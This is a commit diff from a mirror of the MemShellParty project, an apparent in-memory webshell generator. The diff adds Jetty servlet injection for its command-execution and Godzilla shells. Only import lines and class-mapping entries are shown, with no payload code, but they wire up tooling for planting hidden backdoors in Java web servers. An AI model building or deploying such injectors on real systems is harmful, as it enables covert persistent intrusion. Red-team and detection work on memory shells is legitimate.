mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
feat: support jetty servlet (#2)
This commit is contained in:
@@ -5,8 +5,11 @@ import com.reajason.javaweb.memshell.jetty.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.jetty.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jetty.injector.JettyServletInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.List;
|
||||
@@ -28,6 +31,8 @@ public class JettyShell extends AbstractShell {
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class),
|
||||
JAKARTA_SERVLET, Pair.of(CommandServlet.class, JettyServletInjector.class),
|
||||
FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class),
|
||||
@@ -38,6 +43,8 @@ public class JettyShell extends AbstractShell {
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class),
|
||||
JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, JettyServletInjector.class),
|
||||
FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
|
||||
JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class),
|
||||
|
||||
Reference in New Issue
Block a user